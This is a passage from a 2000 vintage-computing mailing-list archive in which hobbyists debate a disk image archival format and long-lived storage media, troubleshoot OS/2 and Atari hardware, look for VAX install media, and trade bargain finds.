couldn't concern me less. The purpose of this exercise is to create a common, documented format by which that byte stream can be archived and the way those byte streams are stored on the diskette can be described, thereby allowing a copy to be reconstructed in the future on an actual diskette or allowing the image to be fed into an emulator. Simple, yes? Of course. Ignore Dick and we're golden. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 23:20:30 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005310024.RAA29348@civic.hal.com> Message-ID: On Tue, 30 May 2000, Dwight Elvey wrote: > This does go back to what I said about using multiple > types of media. It is necessary to use more than one > type. The types should be as varied as current technology > would allow. Also, the multiple copies on any particular > media should also be done on different manufactures > of that same media type. My hope is that a central repository on the net can be founded where these disk images can be stored. I'm hoping to provide that repository once I get more bandwidth into my server. I will then make periodic backups of the archive on various media (CD ROM of course). Also, mirror sites can be created, thus ensuring the archive is not susceptible to one catastrophe. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From richard at idcomm.com Wed May 31 00:25:43 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard References: <009e01bfca9b$0be3bfc0$7964c0d0@ajp166> Message-ID: <000f01bfcac0$abdd4580$0400c0a8@EAHOME> Yes, Allison, everything has a finite, if small, failure rate. I don't have stat's on the failure probability of properly stored EPROMs in a plastic package, but the failure rate of FD's is on the order of a part in 10^9 or so. The random failure rate of a SCSI interface has been claimed to be a part in 10^15, and I'd bet the random failure rate of a plastic packaged EPROM is on the order a part in 10^20. Those are favorable odds, and, in fact, I'd find the 10^15 quite acceptable for archives. Remember, we're not looking at a random soft failure with FD's, it's the ultimate failure that we're concerned with, since, once the archival copy is gone, the data on it is lost forever. I'd be inclined to use a CD under such risk, wouldn't you? It's an archive, after all, not a utility copy lying on the floor behind your desk. I'm not preaching that an OTP EPROM is the perfect solution, but, it takes an hour or two to generate the hardware/software to read/write an EPROM. If, OTOH, I had all the parts in perfect condition, in a kit, and a well-lighted workstation with all the necessary tools, I still doubt I could assemble an FDD, especially one of the little ones we use today in that little time. They're available almost anywhere for $5 (used) to $20 (brand new), but two years after they're replaced with something better, I doubt you'll find one new drive for sale anywhere. It's for that reason that I think all this effort put into magnetic storage for an archive that will, hopefully outlive its creators, is a mite unwise. Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 6:28 PM Subject: Re: Defining Disk Image Dump Standard > >If you're serious about creating an archive. It needs to be permanent, so > >it's essentially requisite that the media be write-once. I'd say you're > >better off with an OTP EPROM. Hardware to create them is dirt-simple to > >create, eraseable/rewritable equivalents are readily available, and even if > >the OTP's (very inexpensive, by the way) become scarce, there will still be > >rewritables available which can be write protected by removing the VPP or > >program pin. Use those and you'll have a real archive. What's more, there > >are no mechanical components, nothing to rust, become misaligned, or wear > >out. > > > Your kidding? Right? Eproms, have a finite random failure rate and while > better > in some ways over time you still run the risk of total failure due to: > > Environment, humidity increases failure rate. > Temperature > Time > Electrical stress. > > This does not include ESD and circuit mishandling. it still assumes > compatable technology (try reading a ECL prom using TTL). > > Add to this the great number of devices needed to contain said archive > your risking the boat in exactly the same way as CDrom or on shorter > time spans magnetic media. > > All of this is seperate from the format that will assure recovery of the > data. > > Myself I'd rather risk even floppies with their known weakness and use > redundant recording and added error detection/correction. Even when > applied to CDroms this is more viable. > > Most of all it matters not what you do, what you do it on! It does matter > that sufficient data on what was done is available along with the archive > to reconstruct not only the data but the systems that archived it (or can > recover it!!!). Books work because they can be preserved and copied > if they start to decompose and we teach the languges needed to read > them. > > Reminds me of an old theological arguement of how many angles can > dance on the head of a pin. Untill we have music, a pin and angles > it's simply an exercise with a meaningless outcome to all but the faithful. > > Allison > From richard at idcomm.com Wed May 31 00:55:28 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <002a01bfcac4$d3330440$0400c0a8@EAHOME> If only you understood how FDD's work, Sellam! You say "> A floppy diskette is a stream of bytes. " The stuff on a diskette is not a byte stream. It's a carefully worked-out bit-oriented protocol written in a self-clocking modulation scheme with in-band signalling encoded in, among other things, missing clocks. There are write splices before and after every sector ID and before and after every data + crc field, during which byte-synchronization (framing) and bit-synchronization are lost completely. That hardly qualifies as a byte stream. That's just another reason some other, perhaps less synchronization-intensive data transfer mechanism should be used, IF what you really want is an archive of the bitwise pattern of flux reversals on the magnetic medium, then you have something you can store, and that you can recreate with an appropriate drive interface. You'll have trouble including header information on such an arrangement, though it's possible enough. However, as I've said before, a mechanical system is always destined to be a headache. Some form of relatively non-volatile solid state storage is what a modern archive needs. Maybe CD is adequate, but who knows how long that fad will last. In another decade, the multiples tens of GB you can store on a CD/DVD may not be adequate for then current computers, though it will probably always be suitable for this purpose. If there get to be such things, a multisession DVD might be just the thing. With as high an error rate as FD's have, they're just not the best bet. Dick From kyrrin at bluefeathertech.com Wed May 31 01:02:16 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:53:14 2005 Subject: A moment of silence... In-Reply-To: <3934549C.57BD47E@arrl.net> Message-ID: <39344878.5116.6E31316@localhost> > Haltek was on Linda Vista right around the corner from the > Mexican restaurant. > > Question. Did their Test Equipment store, right next door, > also close? They used to put on a great parking lot sale > every summer. As far as I know, Test Labs was unaffected. FWIW, it was not them that put on the parking lot sale. It was Haltek. Test Labs usually just participated. Also, I would add that most of what TL offered tended to be beat up and overpriced. > One time they got hold of about a dozen Collins 51S1's. Got > there just in time to see the last 2 get scooped up right before > my eyes. Went for about $175 apiece as I recall........ aaargh.. I said most, not all. They did occasionally goof and offer the proverbial Heck Of A Deal. ;-) -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From mikeford at socal.rr.com Wed May 31 01:24:17 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:14 2005 Subject: NBI OASys 8" floppies In-Reply-To: References: <200005302205.PAA27670@civic.hal.com> Message-ID: I brought home a box of maybe a dozen or so boxes of 10+ 8" floppies each, and a little notebook that matches up with them. NBI OASys at a glance, most of the floppies have similar info on them, with a couple boxes still sealed blanks. SSSD Single Sided Single Density, with the little hole in the jacket, but I didn't check to see if the floppy material has holes in it too. Cover page of notebook says, OASys at a glance is a quick reference guide designed to provide you with brief, step by step instructions for OASys 64, OASys 8, OASys 3000S and OASys 3000 features. Reasonable offers from list members til Friday, then if no real interest its eBay. From marvin at rain.org Wed May 31 01:22:43 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:53:14 2005 Subject: Games: was Re: Get up on the wrong side of the bed ... References: Message-ID: <3934AFB3.BF4421B1@rain.org> Mike Ford wrote: > > >Different strokes for different folks; what do we learn with a flame war? > > Email filters. That is a great answer!!! From vonhagen at vonhagen.org Mon May 29 20:24:49 2000 From: vonhagen at vonhagen.org (William von Hagen) Date: Sun Feb 27 18:53:14 2005 Subject: PERQs (was: Get up on the...) In-Reply-To: References: Message-ID: <4.3.1.2.20000529211132.00dfbae0@vonhagen.org> Sorry I missed this discussion when it was "live." Being in Pittsburgh, I was lucky enough to be able to get tons of PERQ stuff (literally) that no one else was in a geographic position to pick up. I have one of all of the PERQ models, including obscurities like a T1 (T2 with an 8" drive), a working MPOS system, a working 24-bit PERQ, a working PERQ-3A (which I had shipped here from the UK in a fit of obsession), and more. From what I can remember, the Japanese guys used PERQs for animation purposes. They didn't really get anything "interesting," just lots of spare boards. One bit of PERQ trivia that few people on this list may know about is that my collection was used in the legendary Apple/Microsoft lawsuit, as evidence by both sides. Both uSoft and Apple flew lawyers and camera crews here to Pittsburgh to film me demoing old window managers I'll be glad to write more later - it's getting late here! Bill From Technoid at cheta.net Wed May 31 05:44:50 2000 From: Technoid at cheta.net (Technoid Mutant) Date: Sun Feb 27 18:53:14 2005 Subject: OS/2 References: <8763AE987517D2118C0500A0C9AB234C2BAD66@TEGNTSERVER> Message-ID: <3934ED22.A4F3C33C@cheta.net> To the best of my knowledge, win32, including win95/98 still suffer from 64k segments. In particular, the video subsystems are still 16bit, non-reentrant code which means programmers still have to chop thier graphics into 64k chunks and feed those to the GUI. A lot of people were really disapointed with this when Microsoft first revealed it prior to 95's debut. There used to be an excellent IBM whitepaper comparing Win95, OS/2 warp, and Windows NT but I have been unable to find it alive anywhere. Douglas Quebbeman wrote: > > > What I'm saying is that the way is *should* work is: > > > > > > pointer fault on attempt to execute faulted pointer to > > DLL routine > > > segment fault on attempt to execute code in unmapped > > DLL routine's > > > segment > > > page fault on attempt to execute code in unmapped DLL > > routine's page > > > > > > And in a really proper OS you'd also get a page fault if > > the page map > > > containing the PageMapTableEntries weren't currently mapped in (and > > > yes you can page out page maps). > > > > > > And before you point out that segments went away from Win32 let > > > me say that too is another fatal flaw with the Windows family of > > > OS's. > > > > Is it just me -- or does this sound like Multics segments? > > Dang- busted again. :-) > > -doug q From Technoid at cheta.net Wed May 31 05:50:05 2000 From: Technoid at cheta.net (Technoid Mutant) Date: Sun Feb 27 18:53:14 2005 Subject: HPFS 386 HELP! References: Message-ID: <3934EE5D.EDF4416E@cheta.net> My warp4 machine ate it'self the other day. At restart it runs checkdisk, indicates that it has relocated information stored on a bad sector then says it cannot continue. After this the driver reports that the disk is dirty and needs to be checked in order to function. I pulled the drive and mounted it on another machine I have which is running an identical version and service level of warp 4. It is also running HPFS386. Checkdisk/F gives the same error as it does when I try to boot the disk on the machine it belongs to. The drive passes diagnostics. I am running Linux from another partition right now (it was a dual-boot OS/2, Linux drive but OS/2 won't boot now....). I've searched the web like crazy for more advanced tools which will work on an HPFS386 filesystem to no avail. Any help is appreciated. Thanks in advance Jeff (technoid@cheta.net) From Technoid at cheta.net Wed May 31 05:58:19 2000 From: Technoid at cheta.net (Technoid Mutant) Date: Sun Feb 27 18:53:14 2005 Subject: Atari 800 keyboards References: Message-ID: <3934F04B.C286053E@cheta.net> I know this may sound like a 'mad bomber' approach to a fix but I've been an Atari hack for 17 years and really know the machines. The 800 and 1200xl machines have very robust keyboards that age well but if not used in a long time will exhibit the behavior you are describing. The fix is to whack the heck out of every key on the keyboard many times over. Something like 20+ keystrokes per key and don't spare it the proper level of violence. Trust me and try it. Late model 800's and the 1200xl had nearly identical keyboard construction. I've 'fixed' numerous machines using this method with no failures. I think the reason it works is it 'cleans' the contacts through repetition. technoid@cheta.net "Charles P. Hobbs (SoCalTip)" wrote: > I fired up my old Atari 800 this weekend, and it seems to work ok, > except the keyboard is extremely flakey (some of the keys don't > work too well unless you press really hard, and a few don't > work at all). Any ideas? From jfoust at threedee.com Wed May 31 08:37:08 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: References: <200005302348.QAA28909@civic.hal.com> Message-ID: <4.3.0.20000531082854.024c9c60@pc> At 09:07 PM 5/30/00 -0700, Sellam Ismail wrote: >That would certainly be one way to do it, but I think it's more feasible >to attempt to do this by a combination of using the actual hardware and >the software that does the archiving. The usefulness of archiving old >diskettes is to make them available in perpetuity. Whether we are >archiving them so that we can always create a physical disk from the >archive to run on the original machine or use the archive as a "virtual >diskette" for an emulator, having an actual disk image archived on a long >term storage medium is my goal. I agree. Before we get too deep in the details of the file format (XML? Whew, so cutting edge. I was hoping for a simple tagged format, with plenty of extensibility) it might be good to consider how this file format will be used. Emulators, yes. Simple command line tools to create disk images and manipulate files, yes. Simple enough that an antique computer could read sectors and emit this file format out the serial or parallel port, sure. Never mind Emily Litella. - John From allisonp at world.std.com Wed May 31 09:02:13 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <000f01bfcac0$abdd4580$0400c0a8@EAHOME> Message-ID: > package, but the failure rate of FD's is on the order of a part in 10^9 or > so. The random failure rate of a SCSI interface has been claimed to be a > part in 10^15, and I'd bet the random failure rate of a plastic packaged You babbling. Disk failure rates are in bits read. Eprom failure rates are in device hours. Typical failure rate for plastic eproms is 300-500 failures (hard) in 10^9! So the more eproms you have for a given period of time the more likely the failure. Also while device life is long the assumptions that it is constant over life are not true, nor is the life infinate. > It's for that reason that I think all this effort put into magnetic storage > for an archive that will, hopefully outlive its creators, is a mite unwise. Magnetic storage is proven, while it has a finite shelf life it's well understood and can be prolonged. Linear mag tape is likely the most reliable of all. OTP eproms are barely 20 years old and NOT considered a lifetime media nor an economical one. Allison > > Dick > > ----- Original Message ----- > From: allisonp > To: > Sent: Tuesday, May 30, 2000 6:28 PM > Subject: Re: Defining Disk Image Dump Standard > > > > >If you're serious about creating an archive. It needs to be permanent, > so > > >it's essentially requisite that the media be write-once. I'd say you're > > >better off with an OTP EPROM. Hardware to create them is dirt-simple to > > >create, eraseable/rewritable equivalents are readily available, and even > if > > >the OTP's (very inexpensive, by the way) become scarce, there will still > be > > >rewritables available which can be write protected by removing the VPP or > > >program pin. Use those and you'll have a real archive. What's more, > there > > >are no mechanical components, nothing to rust, become misaligned, or wear > > >out. > > > > > > Your kidding? Right? Eproms, have a finite random failure rate and while > > better > > in some ways over time you still run the risk of total failure due to: > > > > Environment, humidity increases failure rate. > > Temperature > > Time > > Electrical stress. > > > > This does not include ESD and circuit mishandling. it still assumes > > compatable technology (try reading a ECL prom using TTL). > > > > Add to this the great number of devices needed to contain said archive > > your risking the boat in exactly the same way as CDrom or on shorter > > time spans magnetic media. > > > > All of this is seperate from the format that will assure recovery of the > > data. > > > > Myself I'd rather risk even floppies with their known weakness and use > > redundant recording and added error detection/correction. Even when > > applied to CDroms this is more viable. > > > > Most of all it matters not what you do, what you do it on! It does matter > > that sufficient data on what was done is available along with the archive > > to reconstruct not only the data but the systems that archived it (or can > > recover it!!!). Books work because they can be preserved and copied > > if they start to decompose and we teach the languges needed to read > > them. > > > > Reminds me of an old theological arguement of how many angles can > > dance on the head of a pin. Untill we have music, a pin and angles > > it's simply an exercise with a meaningless outcome to all but the > faithful. > > > > Allison > > > From jbmcb at hotmail.com Wed May 31 09:08:13 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:53:14 2005 Subject: HPFS 386 HELP! References: <3934EE5D.EDF4416E@cheta.net> Message-ID: <20000531140322.95967.qmail@hotmail.com> Sounds like there might be a bad block in the FAT, or superblock, or whatever OS/2 calls it. If bootcode or FAT information gets corrupt there isn't a whole lot you can do about it. You could try hooking it up to a linux machine and mount it read-only to get your files off. If the FAT is corrupt the only way to get the drive back is a low level format. ----- Original Message ----- From: "Technoid Mutant" To: Sent: Wednesday, May 31, 2000 6:50 AM Subject: HPFS 386 HELP! > My warp4 machine ate it'self the other day. At restart it runs checkdisk, > indicates that it has relocated information stored on a bad sector then says > it cannot continue. After this the driver reports that the disk is dirty and > needs to be checked in order to function. > > I pulled the drive and mounted it on another machine I have which is running > an identical version and service level of warp 4. It is also running > HPFS386. Checkdisk/F gives the same error as it does when I try to boot the > disk on the machine it belongs to. > > The drive passes diagnostics. I am running Linux from another partition right > now (it was a dual-boot OS/2, Linux drive but OS/2 won't boot now....). > > I've searched the web like crazy for more advanced tools which will work on an > HPFS386 filesystem to no avail. Any help is appreciated. > > Thanks in advance > > Jeff > (technoid@cheta.net) > > From jbmcb at hotmail.com Wed May 31 09:11:59 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:53:14 2005 Subject: VMS media availability for VAX 8530 References: <01e501bfcaa6$21b2a180$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <20000531140707.17444.qmail@hotmail.com> I've got VMS 2.something on 8" floppies, and VMS 5.something on TK-50 tapes, but that's it. There might be a way to finagle VMS onto the 9 track or 5.25" media from the current OpenVMS distro on CD. Check out the NetBSD VAX Section (http://www.netbsd.org/") People have come up with some pretty inventive ways of getting NetBSD onto a machine, you might be able to use the same procedures with VMS. ----- Original Message ----- From: "Geoff Roberts" To: Sent: Tuesday, May 30, 2000 10:15 PM Subject: Fw: VMS media availability for VAX 8530 > Following post from comp.sys.dec reposted to classic computers at > request of originator. Anyone on the list that can help him? > I have the Pro380 console and 5.25" media for an 8530 console, (and an > 8530 - minus the console to vax cables) even VMS on 9 track, but I'm a > bit far away... I initially thought this place was in Europe somewhere, > but it seems it's actually in New York USA. > > I've mentioned the room heater effects of ECL based systems. > > ----- Original Message ----- > From: "Derek Konigsberg" > Newsgroups: comp.sys.dec > Sent: Sunday, May 28, 2000 1:31 AM > Subject: VMS media availability for VAX 8530 > > > > Hello, > > In the Electronics Club at RPI (Rensselaer Polytechnic Institute), > > we've come across a number of old DEC machines. It all started with a > > PDP-11/45, then we got a VAX 8530 that was being dumped. We also have > > a VAXstation 4 (doesn't exist, but we have one, and it looks like a II > > by the case design) and a VAXstation 3100. Anyways, the main problem > > is the 8530. Our main RA82 hard drive doesn't spin up, and we can't > > find the problem. We have other functional hard drives, but no means > > of installing VMS on them. Basically, we need the tape for our TU81+ > > tape drive (6250bpi, I think), and the 5-1/4" floppy disk to put in > > the console to bootstrap the machine. Yes, for anyone who didn't > > know, this machine requires a special "VAX Console" (no, it's not a > > terminal) to tell the machine to power up and to download the > > microcode. Anyways, right now the machine is an impressive metal > > obstruction in the room until we get it operational. So, does anyone > > have or know where we can find the right VMS media for this beast? > > > > P.S. Just wondering, but anyone know what thing thing sold for back in > > '87 when it was new? > > > > Thanks, > > Derek Konigsberg > > RPI Electronics Club, President > > konigd@rpi.edu > > > > > > From mmcfadden at cmh.edu Wed May 31 09:14:37 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:53:14 2005 Subject: OT: Archiving data (LONG) Message-ID: Archiving data has as many definitions as there are people interested in it. At work we talk about archiving x-ray images on film for 7 years for adults and 25 years for children. Physical loss of the data is more of a problem than deterioration of the media. I have data on 12" optical packs that are 5 years old and there are conversion/data retrieval services that will retrieve my data but the cost is prohibitive. If I tell the powers in charge (PIC) that it will cost them $5 to retrieve an image that was created for $1 they think I am crazy. However if there is a lawyer making the request and the risk is $10,000,000 then the PIC are happy to pay. Currently we may have for a single patient's cardiac angiography study about 1,000 35mm images, about 1 GB. The system now uses CDROM-RW and puts the images all on 1 CD using JPEG compression, they swear it will last 25 years. I guess we will wait and see. The big issue for magnetic media archival is that it is an ongoing process with very few retrievals ever actually requested. If every 5 years I need to refresh my magnetic data then I have a reoccurring cost. This seems to be what many DP operations are planning. If I ask for lots of dollars for saving old data most organizations will laugh. I'll bet when reality or a lawsuit hits they will hope to beg forgiveness for loosing the data. Most media storage lifetimes are extrapolated from accelerated testing and assume optimal humidity and temperature. If you want proven lifetimes then there are only several known/proven methods. I know the government and the Mormons, two separate entities, are storing data etched on iridium substrates in human readable form. They talk about lifetimes of 1,000's of years. Other examples are stone tablets, photographic film, and paper. I think that we can eliminate stone tablets for storing magnetic data. Paper seems to be cumbersome and is fairly fragile. That leaves photographic methods. Photographic images from the Civil War still exist. Source code or HEX dumps on photographic media may be the best way. Maybe photographic film quality "paper tape" is the answer. The other solution may be photographic film floppy disks. I'd better get right off to my patent attorney and file. I've started babbling. Mike From jbmcb at hotmail.com Wed May 31 09:26:05 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:53:14 2005 Subject: Finds References: <3934EE5D.EDF4416E@cheta.net> Message-ID: <20000531142113.96331.qmail@hotmail.com> Cheapo bonanza! Grabbed a TRS-80 Model 100 Portable, in the deluxe hard case with tape drive and accoustic coupler modem for $5! Works like a charm. Snagged a Network General "The Sniffer" Protocol Analyzer, looks to be a modified Compaq Portable II, can't find any info on the sniffer program though (NAI bought out Network General, and doesn't take kindly to supporting older apps) Also grabbed a stripped RS/6000 320H for $1, a few odd cables, and a loaded Sun SPARCStation 10 for $25 (It was in with the SPARC 1's, so someone must have missed the 0, I know I did :) Good luck hunting! From pechter at pechter.dyndns.org Wed May 31 09:31:32 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:14 2005 Subject: Finds In-Reply-To: <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> > Cheapo bonanza! Grabbed a TRS-80 Model 100 Portable, in the deluxe hard case > with tape drive and accoustic coupler modem for $5! Works like a charm. > Snagged a Network General "The Sniffer" Protocol > Analyzer, looks to be a modified Compaq Portable II, can't find any info on > the sniffer program though (NAI bought out Network General, and doesn't take > kindly to supporting older apps) A great grab. It's a great tool for ethernet troubleshooting. > Also grabbed a stripped RS/6000 320H for $1 Good machine -- but a bit slow. >, a few odd cables, and a loaded Sun SPARCStation 10 for $25 (It was in > with the SPARC 1's, so someone must have missed the 0, I know I did :) Good > luck hunting! A Sparcstation 10 -- Fantastic. Got to find something like that for Solaris 8. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From sipke at wxs.nl Wed May 31 12:04:07 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:53:14 2005 Subject: Documenting how old computers were used References: <004e01bfc732$4fad1a60$0200a8c0@marvin> <001601bfca89$787f4440$d360063e@gaz> Message-ID: <01ab01bfcb22$3bad4140$030101ac@boll.casema.net> Check www.grc.com for Trouble in paradise He states that there is no single cause for the click of death because various kinds of damage will lead to the click. The drive will start to click on a seek track zero which it cannot find. This can be caused by things like damaged cartridges and harsh handling or plain wear. He also has a utility to assess if your drive is going down the road to death Sipke de Wal ----- Original Message ----- From: Gareth Knight To: Sent: Monday, May 29, 2000 2:31 PM Subject: Re: Documenting how old computers were used > Zane H. Healy > > If anyone wants to know what I'm talking about research the 'Click of > Death'. > > Anyone read the latest on the click of death? After a year (or two) of > admitting there is a fault, Iomega telephone support are blaming the > problem on non-standard hardware (anything that is not WinDOS or Mac). It is > this type of ignorance that really irritates me... > > BTW, the link is on ANN, http:///www.ann.lu. > -- > Gareth Knight > Amiga Interactive Guide > http://amiga.emugaming.com > From allisonp at world.std.com Wed May 31 11:17:27 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:53:14 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: > Maybe photographic film quality "paper tape" is the answer. The other > solution may be photographic film floppy disks. I'd better get right off to > my patent attorney and file. Mylar punched paper tape has a VERY long lifetime and is even human readable (well sorta ;)). Allison From mcguire at neurotica.com Wed May 31 11:29:09 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:53:14 2005 Subject: Finds In-Reply-To: Finds (Jason McBrien) References: <3934EE5D.EDF4416E@cheta.net> <20000531142113.96331.qmail@hotmail.com> Message-ID: <14645.15829.295315.539108@phaduka.neurotica.com> On May 31, Jason McBrien wrote: > Cheapo bonanza! Grabbed a TRS-80 Model 100 Portable, in the deluxe hard case > with tape drive and accoustic coupler modem for $5! Works like a charm. > Snagged a Network General "The Sniffer" Protocol > Analyzer, looks to be a modified Compaq Portable II, can't find any info on > the sniffer program though (NAI bought out Network General, and doesn't take > kindly to supporting older apps) Also grabbed a stripped RS/6000 320H for > $1, a few odd cables, and a loaded Sun SPARCStation 10 for $25 (It was in > with the SPARC 1's, so someone must have missed the 0, I know I did :) Good > luck hunting! Whoa! I'll triple your money on that SS10! ;) -Dave McGuire From xds_sigma7 at hotmail.com Wed May 31 11:29:12 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:53:14 2005 Subject: OT: Archiving data (LONG) Message-ID: <20000531162912.88074.qmail@hotmail.com> Hmm what about microfiche? And paper's storage lifetime is very dependant on where you are, that's why I love CO, its dry enough here that paper stays in great shape... Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From CLASSICCMP at trailing-edge.com Wed May 31 11:33:46 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:53:14 2005 Subject: OT: Archiving data (LONG) Message-ID: <000531123346.202007ad@trailing-edge.com> >> Maybe photographic film quality "paper tape" is the answer. The other >> solution may be photographic film floppy disks. I'd better get right off to >> my patent attorney and file. >Mylar punched paper tape has a VERY long lifetime and is even human >readable (well sorta ;)). But not a particularly high density - 10 Bytes per square inch. I think mike was talking about storing data on photographic film, like many of the microfiche data storage systems already in use, but intended for direct computer reading. Many films will resolve 100 line pairs per millimeter; this directly translates to about 3.2 MBytes per square inch. This isn't particularly new technology, but it'll probably never become widely used in the consumer sector. Most end-consumers simply don't think even a couple of years ahead; witness all the folks who transferred home movies to videotape, which might last for a decade or two at most, and then tossed the original film. The original film would've been good for centuries if processed properly. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From mikeford at socal.rr.com Wed May 31 12:32:13 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:14 2005 Subject: Finds In-Reply-To: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> References: <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: >A Sparcstation 10 -- Fantastic. Got to find something like that for >Solaris 8. Will 8 run on a 10, my wife wants a home system to play with instead of the E250 she has at the office, and told me she needs at least a 5 (which is a much newer system than a 10 or 20 right?). From ckaiser at oa.ptloma.edu Wed May 31 11:56:14 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:53:14 2005 Subject: NEC8201A RAM (was Re: Finds) In-Reply-To: <14645.15829.295315.539108@phaduka.neurotica.com> from Dave McGuire at "May 31, 0 12:29:09 pm" Message-ID: <200005311656.JAA10014@oa.ptloma.edu> ::On May 31, Jason McBrien wrote: ::> Cheapo bonanza! Grabbed a TRS-80 Model 100 Portable, in the deluxe hard case ::> with tape drive and accoustic coupler modem for $5! Works like a charm. This reminds me. Does anyone out there have M100 (or even better NEC 8201A) RAM for sale? Club 100 has some listed but they claim to be (almost) out of stock. My poor 24K N82 needs a bigger brain. N82 RAM cartridges would be even better (the big ones that plug into the side). -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- What you don't know won't help you much either. -- D. Bennett -------------- From mcguire at neurotica.com Wed May 31 11:51:31 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:53:14 2005 Subject: Finds In-Reply-To: Re: Finds (Mike Ford) References: <20000531142113.96331.qmail@hotmail.com> Message-ID: <14645.17171.265685.828635@phaduka.neurotica.com> On May 31, Mike Ford wrote: > >A Sparcstation 10 -- Fantastic. Got to find something like that for > >Solaris 8. > > Will 8 run on a 10, my wife wants a home system to play with instead of the > E250 she has at the office, and told me she needs at least a 5 (which is a > much newer system than a 10 or 20 right?). Newer than a 10, about the same age as a 20 as I recall... -Dave McGuire From mikeford at socal.rr.com Wed May 31 12:44:00 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:14 2005 Subject: OT: Archiving data (LONG) In-Reply-To: References: Message-ID: >> Maybe photographic film quality "paper tape" is the answer. The other >> solution may be photographic film floppy disks. I'd better get right off to >> my patent attorney and file. > >Mylar punched paper tape has a VERY long lifetime and is even human >readable (well sorta ;)). What ever happened to the really high density laser punched mylar/paper tape that was being talked about so much a few years ago? Much higher density than magnetic tape, and very very long archival life. From cmcmanis at mcmanis.com Wed May 31 12:04:39 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:53:14 2005 Subject: VMS media availability for VAX 8530 In-Reply-To: <20000531140707.17444.qmail@hotmail.com> References: <01e501bfcaa6$21b2a180$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <4.3.2.7.2.20000531100030.02bac3c0@208.226.86.10> At 10:11 AM 5/31/00 -0400, you wrote: >I've got VMS 2.something on 8" floppies, and VMS 5.something on TK-50 tapes, >but that's it. There might be a way to finagle VMS onto the 9 track or 5.25" >media from the current OpenVMS distro on CD. An interesting question. I've VMS 4.x, 5.x, 6.x, and 7.x distributions on various media but none on 9-trk. I tried to get one recently but it had already been thrown away (youch!). So is it possible for VMS to _create_ distribution media? Can you clone from one type to another? I could, presumably create a 9 track tape with the save sets on them and then create one with standalone backup so that you could boot standalone backup, and then copy the save sets. Would that be sufficient? (Unfortunately my TU81+ is out for the count, no doubt another one will tumble this way.) --Chuck From ckaiser at oa.ptloma.edu Wed May 31 12:10:15 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:53:14 2005 Subject: Finds In-Reply-To: from Mike Ford at "May 31, 0 09:32:13 am" Message-ID: <200005311710.KAA10548@oa.ptloma.edu> ::Will 8 run on a 10, my wife wants a home system to play with instead of the ::E250 she has at the office, and told me she needs at least a 5 (which is a ::much newer system than a 10 or 20 right?). Speaking of finds, I'd love to find a girlfriend who even knows what a Sparc 5 is. *sigh* ;-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Do you think I could buy back my introduction to you? -- Groucho Marx ------ From cisin at xenosoft.com Wed May 31 12:04:02 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) 